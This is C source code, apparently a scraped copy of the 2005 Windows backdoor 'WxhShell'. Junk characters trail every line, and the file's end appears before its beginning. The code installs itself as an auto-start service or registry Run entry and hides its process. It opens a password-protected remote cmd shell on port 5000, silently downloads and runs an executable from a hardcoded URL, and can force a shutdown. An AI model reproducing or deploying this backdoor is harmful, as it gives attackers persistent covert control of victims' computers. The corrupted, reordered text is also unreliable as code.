    } 6)7cw8^  
    break; gn&Zt}@[  
    } imeE&  
  // 关机 Hf\sF(, (  
  case 'd': { kguZAO6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +@~WKa  
    if(Boot(SHUTDOWN))  6su~SPh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |<5F08]v  
    else { 6uT*Fg-G  
    closesocket(wsh); *mbzK*  
    ExitThread(0); /R&h#;l  
    } O1S7t)ag  
    break; CH&{x7$he  
    } o +7)cI  
  // 获取shell -*z7`]5J  
  case 's': { Jv+w{"&  
    CmdShell(wsh); Fx|`0 LI+C  
    closesocket(wsh); O^j*"#f  
    ExitThread(0); n:P:im?,y*  
    break; _+'!l'`  
  } -Ep#q&\  
  // 退出 %,~?;JAj  
  case 'x': { 28`s+sH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3%5a&b  
    CloseIt(wsh); p@nj6N.--  
    break; {:|3V 7X  
    } f:ObI  
  // 离开 /s} "0/Y\  
  case 'q': { {(!JYz~P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1 l"2 ~k  
    closesocket(wsh); rM"27ud[`_  
    WSACleanup(); d?T!)w  
    exit(1); q\]X1N  
    break; }cr'o"4  
        } JE7m5k Ta  
  } f?51sr  
  } dGn 0-l'q  
:C(/yg  
  // 提示信息 #[bL9R5NC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }#7rg_O]>  
} O ~6%Iz`  
  } .Zv~a&GE  
nqm=snh  
  return; Z$JJ0X  
} _X~O 6e-!  
(8)9S6  
// shell模块句柄 BEvY&3%l  
int CmdShell(SOCKET sock) bo/9k 4N3  
{ CV.|~K0O  
STARTUPINFO si; &h5Y_no GX  
ZeroMemory(&si,sizeof(si)); fy4zBI@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q_|}~4_+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8c+V$rH_  
PROCESS_INFORMATION ProcessInfo; C| ~ A]wc=  
char cmdline[]="cmd"; A*?PH`bY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d \l{tmte  
  return 0; rB$~,q&.V  
} ,MNv}w@  
e ,/]]E/o  
// 自身启动模式 Z K+F<}  
int StartFromService(void) jDpA>{O[  
{ 94BH{9b5  
typedef struct \&hq$  
{ z3K$gEve  
  DWORD ExitStatus; 3NLn}  
  DWORD PebBaseAddress; g"1V ]  
  DWORD AffinityMask; Lo{wTYt:J  
  DWORD BasePriority; ,"(G  
  ULONG UniqueProcessId; )>:~XA|?  
  ULONG InheritedFromUniqueProcessId; A}(]J!rc  
}   PROCESS_BASIC_INFORMATION; A-T-4I  
_&hM6N  
PROCNTQSIP NtQueryInformationProcess; mi7?t/D1Z  
2c 0;P #ol  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AX8~w(sv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6/mz., g2  
,<t.Iz%  
  HANDLE             hProcess; fq6Obh=A#  
  PROCESS_BASIC_INFORMATION pbi; @6>Q&G Yqt  
gGL}FNH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ne1Oz}  
  if(NULL == hInst ) return 0; 0BlEt1e2T  
/)sP, 2/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .EL3}6"A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .i RKuBM/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +ig%_QED[\  
Lc{arhN  
  if (!NtQueryInformationProcess) return 0; @"MYq#2c$  
M/=36{,w-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ly17FLJ].  
  if(!hProcess) return 0; k8+J7(_c  
hhy+bA}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; id1cZig  
|VWT4*K  
  CloseHandle(hProcess); =# Sw.N  
C!*!n^qA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ='o3<}  
if(hProcess==NULL) return 0; hi1Ial\Y  
Y0a[Lb0  
HMODULE hMod; ?l/6DT>e  
char procName[255]; Q:(mK* _  
unsigned long cbNeeded; hLLSmW (  
:S0!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5;/n`Bd  
**hQb$  
  CloseHandle(hProcess); uGMzU&+  
+M0pmK!  
if(strstr(procName,"services")) return 1; // 以服务启动 ca_mift  
Snf_{A<  
  return 0; // 注册表启动 8@m$(I +  
} `s CwgY+  
UPuoIfuqI  
// 主模块 "#r)NYq`"|  
int StartWxhshell(LPSTR lpCmdLine) u;_h%z5K  
{ 7EE{*}?0E  
  SOCKET wsl; fZo#:"{/K  
BOOL val=TRUE; T?pS2I~  
  int port=0; 8Agg%*Qs}  
  struct sockaddr_in door; 5)!g.8-!  
:snO*Zg  
  if(wscfg.ws_autoins) Install(); $ZBYOA  
yDafNH  
port=atoi(lpCmdLine); A9MM^j V8  
*H QcI-  
if(port<=0) port=wscfg.ws_port; u1%URen[x  
^9[Q;=R  
  WSADATA data; 13X}pnW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Food<(!.>  
Y~I<Locv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D!rPF)K )  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7&ED>Bk  
  door.sin_family = AF_INET; }mj9$=B4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AEyvljv  
  door.sin_port = htons(port); ]u|fLK.|  
b5NVQ8Mq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8F}drK9>F  
closesocket(wsl); 'I]XX==_  
return 1; )!"fUz$  
} +-!E% $  
m\`>N_4*9  
  if(listen(wsl,2) == INVALID_SOCKET) { e2O6q05 ?Q  
closesocket(wsl); nqyD>>  
return 1; _? gCOr  
} j,k3]bP  
  Wxhshell(wsl); h !^= c  
  WSACleanup(); qiNVaV\wr|  
g_Z tDxz  
return 0; L.HeBeO  
puC91  
} ;,&cWz  
==dKC;  
// 以NT服务方式启动 MET9rT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YMX9Z||  
{ !T`oHs  
DWORD   status = 0; dJ"M#X!Zu  
  DWORD   specificError = 0xfffffff; '#'noB;,  
4V JUu`[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o!M8V ^vW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4Z)s8sDKW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~ bLx2=-"  
  serviceStatus.dwWin32ExitCode     = 0; \R#SoOd  
  serviceStatus.dwServiceSpecificExitCode = 0; )'djqpM.  
  serviceStatus.dwCheckPoint       = 0; 6X \g7bg  
  serviceStatus.dwWaitHint       = 0; W;vNmg}mn  
= s&Rk~2b/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xa~]t<2  
  if (hServiceStatusHandle==0) return; X94a  
mJSfn"b}K  
status = GetLastError(); c#n 2 !  
  if (status!=NO_ERROR) 'FErk~}/4s  
{ %fj5 ;}E.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6cH8Jr _  
    serviceStatus.dwCheckPoint       = 0; ORExI.<`W  
    serviceStatus.dwWaitHint       = 0; }t H$:Z  
    serviceStatus.dwWin32ExitCode     = status; 0pZvW  
    serviceStatus.dwServiceSpecificExitCode = specificError; VXeO}>2S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EgjJywNhd2  
    return; \ 2\{c1df  
  } y)G-6sZ/  
-> cL)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >P/36'  
  serviceStatus.dwCheckPoint       = 0; (\AN0_  
  serviceStatus.dwWaitHint       = 0; --5F*a{R|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [l23b{  
} -YA,Stc-  
0fsVbC  
// 处理NT服务事件,比如:启动、停止 n4K!Wv&u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \Vyys[MMY8  
{ #<*Vc6pC  
switch(fdwControl) AC,RS 7  
{ $^]K611w9  
case SERVICE_CONTROL_STOP: =Hi@q "  
  serviceStatus.dwWin32ExitCode = 0; ^hIdmTf6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Yuv i{ 0  
  serviceStatus.dwCheckPoint   = 0; ]5ZXgz  
  serviceStatus.dwWaitHint     = 0; ,d#*i  
  { 6r)P&J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ![_x/F9  
  } 'cD?0ou`o  
  return; "aJHCi~l  
case SERVICE_CONTROL_PAUSE: gEh/m.L7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; da$FY7  
  break; zxyl+tU &  
case SERVICE_CONTROL_CONTINUE: +?_!8N8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @62T:Vl  
  break; '}.Yf_  
case SERVICE_CONTROL_INTERROGATE: Xg)8}  
  break; KkJqqO"EL  
}; P?0X az  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t<H"J__&  
} At Wv9  
@*6fEG{,q  
// 标准应用程序主函数 \x<8   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g)X3:=['  
{ /fI}QY1  
1dH|/9  
// 获取操作系统版本 ^? fOccfQ{  
OsIsNt=GetOsVer(); uFkl^2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (@?mm  
Rlq7.2cP  
  // 从命令行安装 |L2>|4  
  if(strpbrk(lpCmdLine,"iI")) Install(); SQodk:1)  
mQ[$U  
  // 下载执行文件 <FT7QO$I  
if(wscfg.ws_downexe) { ,B <\a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (5yM%H8:  
  WinExec(wscfg.ws_filenam,SW_HIDE); :/5m D  
} E>~R P^?Uz  
n$i X6Cd  
if(!OsIsNt) { =?i?-6M  
// 如果时win9x,隐藏进程并且设置为注册表启动 &W<7!U:2m  
HideProc(); [M|^e;tWK  
StartWxhshell(lpCmdLine); =*\s`ox`  
} HbTVuf o  
else fM= o?w6v  
  if(StartFromService()) M xE]EJZ  
  // 以服务方式启动 `|t,Uc|7!  
  StartServiceCtrlDispatcher(DispatchTable); k&Pt\- 9on  
else S=@+qcI  
  // 普通方式启动  }k^uup*{  
  StartWxhshell(lpCmdLine); p Cz6[*kC  
]J7qsMw  
return 0; pBsb>wvej  
} dY1t3@E  
:qzg?\(  
 o E+'@  
q<YM,%mgj  
=========================================== B%F]K<  
bLc5$U$!I  
CoN[Yf3\  
Al$z.i?R  
oi #B7  
6= ?0&Bx&  
" ;_}pIO  
2#wnJdr6E  
#include <stdio.h> 'xW=qboOp  
#include <string.h> 77RZ<u9/`  
#include <windows.h> wh:;G`6S  
#include <winsock2.h> .LzA'q1+z  
#include <winsvc.h> te@m#` p9  
#include <urlmon.h> T;w:^XW  
Y>x{ [er  
#pragma comment (lib, "Ws2_32.lib") @*;x1A-]V  
#pragma comment (lib, "urlmon.lib") wkg4I.  
j7I=2xnTWu  
#define MAX_USER   100 // 最大客户端连接数 R7::f\I   
#define BUF_SOCK   200 // sock buffer v+ $3  
#define KEY_BUFF   255 // 输入 buffer }\a#e^-xQ+  
4I4m4^  
#define REBOOT     0   // 重启 6N/(cUXJ  
#define SHUTDOWN   1   // 关机 ghQ B  
?t/qaUXN  
#define DEF_PORT   5000 // 监听端口 .:S/x{~  
"K{_?M `;e  
#define REG_LEN     16   // 注册表键长度 U:7h>Z0W  
#define SVC_LEN     80   // NT服务名长度 +){^HC\7h  
l+ }=D@l  
// 从dll定义API 4n,&,R r#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K?.~}82c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &PMQ]B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [gW eD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a&s34Pd  
kWzp*<lWe  
// wxhshell配置信息 ~ 'ZwD/!e  
struct WSCFG { HE}0_x.  
  int ws_port;         // 监听端口 *>m[ZJd%=  
  char ws_passstr[REG_LEN]; // 口令 zIa={tU  
  int ws_autoins;       // 安装标记, 1=yes 0=no x'|ty[87  
  char ws_regname[REG_LEN]; // 注册表键名 }k-V(  
  char ws_svcname[REG_LEN]; // 服务名 axQ>~v WN/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '6N)sqTR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m6Dm1'+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TmgC {_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r)<A YX]J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OUv)`K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P\"kr?jZP  
T?3Q<[SmI  
}; J=A)]YE  
cy%M$O|hX5  
// default Wxhshell configuration _}[ Du/c  
struct WSCFG wscfg={DEF_PORT, }?[];FB  
    "xuhuanlingzhe", gM96RY  
    1, ]E9iaq6Z  
    "Wxhshell", |MNSIb&,W  
    "Wxhshell", rto?*^N?  
            "WxhShell Service", e@3SF  
    "Wrsky Windows CmdShell Service", !LK xZ"  
    "Please Input Your Password: ", := V?;  
  1, k+J3Kl09hM  
  "http://www.wrsky.com/wxhshell.exe", geQ!}zXWi  
  "Wxhshell.exe" d9{lj(2P  
    }; J/]%zwDwS  
%" iX3  
// 消息定义模块 }dc0ZRKgx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A mZXUb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !W}sOK7#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \h ~_<)  
char *msg_ws_ext="\n\rExit."; N{Sp-J>  
char *msg_ws_end="\n\rQuit."; @IG's-  
char *msg_ws_boot="\n\rReboot..."; !)a_@d.;i  
char *msg_ws_poff="\n\rShutdown..."; )fJ"Hq  
char *msg_ws_down="\n\rSave to "; Du_5iuMh  
ay8]"sa  
char *msg_ws_err="\n\rErr!"; cAR `{%b  
char *msg_ws_ok="\n\rOK!"; k*1Lr\1  
\M`qaFan5^  
char ExeFile[MAX_PATH]; +wi=IrRr  
int nUser = 0; zTng]Mvx  
HANDLE handles[MAX_USER]; n|5\Q  
int OsIsNt; Y3 $jNuV  
fU6YJs.H^8  
SERVICE_STATUS       serviceStatus; Ts!'>_<Je  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (~~m8VJ>  
J|W E&5'  
// 函数声明  +n1!xv]  
int Install(void); y 4i3m(S  
int Uninstall(void); R ]Ev=V'U  
int DownloadFile(char *sURL, SOCKET wsh); fe\lSGmf  
int Boot(int flag); :9&c%~7B9  
void HideProc(void); *fN+wiPD  
int GetOsVer(void); # ~<]z  
int Wxhshell(SOCKET wsl); :qm\FsO  
void TalkWithClient(void *cs); \[9VeqMU  
int CmdShell(SOCKET sock); )^:H{1'  
int StartFromService(void); m]qw8BoU`F  
int StartWxhshell(LPSTR lpCmdLine); A-Ba%Fv  
:jTSO d[r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O84]J:b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z:Am1B  
~"+"6zg  
// 数据结构和表定义 1EU4/6!C  
SERVICE_TABLE_ENTRY DispatchTable[] = _=g&^_ #t  
{ 9evr!=":  
{wscfg.ws_svcname, NTServiceMain}, n>ryS/1  
{NULL, NULL} '/O:@P5qY  
}; MCN>3/81  
' ]k<' `b|  
// 自我安装 FJvY`zqB  
int Install(void) HXq']+iC  
{ JM7mQ'`Ud  
  char svExeFile[MAX_PATH]; ?L<B]!9HZt  
  HKEY key; ~& -h5=3  
  strcpy(svExeFile,ExeFile); 5RPG3ppS  
B&cIx~+  
// 如果是win9x系统,修改注册表设为自启动 3=enk0$  
if(!OsIsNt) { ;!<}oZp{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DI\=udN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3)G~ud  
  RegCloseKey(key); wfo,r 7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xs2}n^#i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oSCaP,P  
  RegCloseKey(key); MblRdj6  
  return 0; a_Y<daRO  
    } x2!R&q8U>  
  } K P]ar.  
} hYoUZ'4  
else { jOGdq;|  
kmC@\xTp  
// 如果是NT以上系统,安装为系统服务 aAjl 58  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .`Rt   
if (schSCManager!=0) z+MH co"  
{ lu.]R>w  
  SC_HANDLE schService = CreateService +a5F:3$  
  ( O`Tz^Q /D  
  schSCManager, a=2.Y?  
  wscfg.ws_svcname, V k{;g  
  wscfg.ws_svcdisp, zYzV!s2^  
  SERVICE_ALL_ACCESS, 6n]+(=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3U<m\A1  
  SERVICE_AUTO_START, V'vWz`#  
  SERVICE_ERROR_NORMAL, `'1g>Ebk0  
  svExeFile, d]DV\*v  
  NULL, |5 V0_79  
  NULL, y[m,t}gi  
  NULL, ` aVp#  
  NULL, d{YvdN9d  
  NULL R'Jrbe|  
  ); S;4:`?s=i  
  if (schService!=0) HLWffO/  
  { <Kt_ oxK,  
  CloseServiceHandle(schService); {SV/AN  
  CloseServiceHandle(schSCManager); Z"8lW+r *  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {lf{0c$X.  
  strcat(svExeFile,wscfg.ws_svcname); k%6CkC w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :a}](Wn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T.da!!'B f  
  RegCloseKey(key); wv9HiHz8gD  
  return 0; !v}TRGX  
    } 8^>qor.]M  
  } /2p*uv }IP  
  CloseServiceHandle(schSCManager); &N^j }^ Z  
} w<(ubR %$  
} uSfHlN4l  
!1l~UB_  
return 1; n3iiW \  
} `*s:[k5k  
 \0)jWCK  
// 自我卸载 vhBW1/w&F  
int Uninstall(void) G^.N$wcv  
{ IR-n:z  
  HKEY key; I!hh_  
l5D)UO  
if(!OsIsNt) { 5f*_K6,v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D40 vCax^J  
  RegDeleteValue(key,wscfg.ws_regname); 3"x_Y  
  RegCloseKey(key); _ $a3lR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H$%MIBz>$  
  RegDeleteValue(key,wscfg.ws_regname); ^MpMqm1?8;  
  RegCloseKey(key); 0GUJc}fgvN  
  return 0; |Y uf/G%/  
  } d"XZlEV  
} t'U=K>7  
} eIvZhi  
else { phy}Hk/  
av'm$I|O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oh{>nwH  
if (schSCManager!=0) 7DAP_C  
{ w5>[hQR\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ||:> &  
  if (schService!=0) %0GwO%h},  
  { \OW:-  
  if(DeleteService(schService)!=0) { I Cc{2l  
  CloseServiceHandle(schService); WZ-~F/:c%  
  CloseServiceHandle(schSCManager); .I^4Fc}&4  
  return 0; :-RB< Lj  
  } B<d=;V  
  CloseServiceHandle(schService); LhL |ETrJ  
  } owIpn=8|Q  
  CloseServiceHandle(schSCManager); fOi Rstci  
} ]?}>D?5  
} VlV X  
h%EeU 3  
return 1; S70#_{  
} [QnN1k  
"W(D0oy  
// 从指定url下载文件 g}W`LIasv  
int DownloadFile(char *sURL, SOCKET wsh) E+\?ptw  
{ & 'u|^d  
  HRESULT hr; it}h8:^<  
char seps[]= "/"; o898pg  
char *token; 27!F B@k-  
char *file; v.]{b8RR  
char myURL[MAX_PATH]; $5XA S  
char myFILE[MAX_PATH]; Cfi4~&  
BdD]HXB|_  
strcpy(myURL,sURL); %r|sb=(yT  
  token=strtok(myURL,seps); YYT;a$GTo  
  while(token!=NULL) M86"J:\u]  
  { T 6D+@i  
    file=token; boojq{cvYA  
  token=strtok(NULL,seps); 3H,x4L5j  
  } `Abd=1nH  
5M>h[Q"R  
GetCurrentDirectory(MAX_PATH,myFILE); j- 9)Sijj{  
strcat(myFILE, "\\"); cM%?Ot,mK"  
strcat(myFILE, file); k7U.]#5V  
  send(wsh,myFILE,strlen(myFILE),0); *tv&=  
send(wsh,"...",3,0); {8.Zb NEJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >J;TtNE:  
  if(hr==S_OK) z@ `o(gh  
return 0; ^os_j39N9  
else {dF@Vg_n  
return 1; L-Q8iFW'  
Sqa9+' [  
} 5qM$ahN3wH  
lc <V_8  
// 系统电源模块 :of([e|u6  
int Boot(int flag) @1o X&#  
{ [l-o*@  
  HANDLE hToken; N[cIr{XBGN  
  TOKEN_PRIVILEGES tkp; +mrLMbBiD  
J|I*n   
  if(OsIsNt) { Ovx *  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); li[[AAWVm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h3 H Udu  
    tkp.PrivilegeCount = 1; &h/r]KrZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {z>!Fw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $6n J+  
if(flag==REBOOT) { wNUT0+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _WNbuk0  
  return 0; S]@;`_?m{  
} 8oE`>Y  
else { J!om"h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sV#%U%un  
  return 0; ~Z5AImR|  
} Bv7FZK3  
  } |pHlBzHj  
  else { P7w RX F{  
if(flag==REBOOT) { ku,{NY f^Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O[ z0+Q?6Z  
  return 0; &KMI C  
} Lyc6nP;F  
else { bhD-;Y!6;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?pIELezfK  
  return 0; L ,R}l0kc  
} 6 ZRc|ZQ  
} \~8W0q.4M  
8(Az/@=n  
return 1; ~ g!!#ad  
} p*PzfSLN  
N~]qQ oj,  
// win9x进程隐藏模块 +Kgl/Wg%  
void HideProc(void) 62ru%<x=  
{ IN/$b^Um  
4Wgzp51Aq!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9"^ib9M  
  if ( hKernel != NULL ) z*T41;b  
  { #U-y<[ 3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "&H'?N%9Up  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )bg|l?  
    FreeLibrary(hKernel); M IIa8 ;  
  } t<te{yt%  
~2>Adp  
return; "81'{\(I_  
} <6;M\:Y*T  
pmP~1=3  
// 获取操作系统版本 _Yo)m |RaB  
int GetOsVer(void) s=)W  
{ qcO~}MJr}^  
  OSVERSIONINFO winfo; 1)c{;x& W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9gA@D%0  
  GetVersionEx(&winfo); V06*qQ[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f&$Bjq  
  return 1; v FL$wr  
  else s 4rva G@a  
  return 0; jUE:QOfRib  
} >h8m8J  
J,,V KA&  
// 客户端句柄模块 9U;  
int Wxhshell(SOCKET wsl) Yp(0XP5o  
{ <U$YJtEK  
  SOCKET wsh;  @N '_qu  
  struct sockaddr_in client; Z4G%Ve[  
  DWORD myID; 1^^{;R7N  
jS]Saqd  
  while(nUser<MAX_USER) Xj]9/?B?  
{ \ C:Gx4K  
  int nSize=sizeof(client); I+Fy)=DO9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T[OI/ WuK  
  if(wsh==INVALID_SOCKET) return 1; -Y+pLvG*  
g<;pyvq|:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0fstEExw  
if(handles[nUser]==0) lO\HchG zB  
  closesocket(wsh); ]a.e;c-  
else d s`YVXKH  
  nUser++; FrMXf,}  
  } T x Mh_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J8\l'} ?&  
f~l pa7  
  return 0; ]?_~QE`  
} 1VYH:uGuAU  
$MvKwQ/  
// 关闭 socket D0 k ,8|  
void CloseIt(SOCKET wsh) kj2qX9 Ms  
{  R<1%Gdz  
closesocket(wsh); waz5+l28  
nUser--; VEa"^{,w  
ExitThread(0); :C^{Lc  
} Mh3.GpS  
,(oolx"Xa  
// 客户端请求句柄 [&~x5l 8\C  
void TalkWithClient(void *cs) 7}qxWz  
{ |}^u<S8X  
W0x9^'=s\  
  SOCKET wsh=(SOCKET)cs; v8)wu=u  
  char pwd[SVC_LEN]; Ib{#dhV  
  char cmd[KEY_BUFF]; 8Mtd}{Fw*  
char chr[1]; hTO5*5]0zP  
int i,j; m^BXLG:b  
5vD\?,f E  
  while (nUser < MAX_USER) { h)sT37  
'r=2f6G>cP  
if(wscfg.ws_passstr) { W8`6O2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hwk] ;6[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M%54FsV  
  //ZeroMemory(pwd,KEY_BUFF); W`LG.`JW  
      i=0; \="U|LzG  
  while(i<SVC_LEN) { :BR_%$  
O6e$vI@  
  // 设置超时 J|jvqt9C  
  fd_set FdRead; % dFz[b  
  struct timeval TimeOut; a(IE8:yU`  
  FD_ZERO(&FdRead); uUS~"\`fk  
  FD_SET(wsh,&FdRead); ;R&W#Q7>3  
  TimeOut.tv_sec=8; |63uoRr  
  TimeOut.tv_usec=0; ~9rNP{+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D4"<suU|.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Otr=+i ZI  
:?EZ\WM7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lm!]m\LRZD  
  pwd=chr[0]; ox<6qW  
  if(chr[0]==0xd || chr[0]==0xa) { C:&Sk\   
  pwd=0; wGMoh.GTh  
  break; ;*K;)C  
  } XU<owk  
  i++; h('5x,G%  
    } D;2V|CkU  
3qGz(6w6E  
  // 如果是非法用户,关闭 socket ~ecN4Oo4q;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?.ObHV*k  
} `B&E?x  
l %zbx"%x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iiuT:r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x]Nx,tt  
2OI 0B\  
while(1) { [V /f{y~ {  
)6"p@1\u  
  ZeroMemory(cmd,KEY_BUFF); BGVnL}0  
GLub5GrxR  
      // 自动支持客户端 telnet标准   7H6Ge-u  
  j=0; 73 1RqUR  
  while(j<KEY_BUFF) { j+fF$6po#t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DB|w&tygq  
  cmd[j]=chr[0]; 3 P75:v  
  if(chr[0]==0xa || chr[0]==0xd) { O|Vc  
  cmd[j]=0; D\ZH1C!d  
  break; Tw%1m  
  } Z;u3G4XlF  
  j++; t?^!OJ:L  
    } t~}c"|<t  
qoT&N,/  
  // 下载文件 hX,RuI  
  if(strstr(cmd,"http://")) { 3y$6}Kp4?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]n@T5*=  
  if(DownloadFile(cmd,wsh)) Q6 o1^s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1foG*   
